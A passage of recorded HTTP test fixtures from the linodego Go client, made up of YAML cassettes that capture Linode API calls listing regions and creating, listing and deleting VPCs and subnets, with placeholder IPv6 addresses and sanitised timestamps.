1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 24}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-vpc-1700036170544541000","region":"es-mad"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs method: POST response: body: '{"id": 10254, "label": "go-test-vpc-1700036170544541000", "description": "", "region": "es-mad", "subnets": [], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "179" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs method: GET response: body: '{"data": [{"id": 10254, "label": "go-test-vpc-1700036170544541000", "description": "", "region": "es-mad", "subnets": [], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "228" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs/10254 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestVPC_Subnet_Create.yaml000066400000000000000000000450551455402072200315430ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 24}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-vpc-1700036159396663000","region":"es-mad","subnets":[{"label":"linodego-vpc-test-1700036159785565000","ipv4":"192.168.0.0/25"}]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs method: POST response: body: '{"id": 10246, "label": "go-test-vpc-1700036159396663000", "description": "", "region": "es-mad", "subnets": [{"id": 11091, "label": "linodego-vpc-test-1700036159785565000", "ipv4": "192.168.0.0/25", "ipv6": null, "linodes": [], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "365" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs/10246 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestVPC_Subnet_Create_Invalid_data.yaml000066400000000000000000000465731455402072200341310ustar00rootroot00000000000000golang-github-linode-linodego-1.28.0/test/integration/fixtures--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 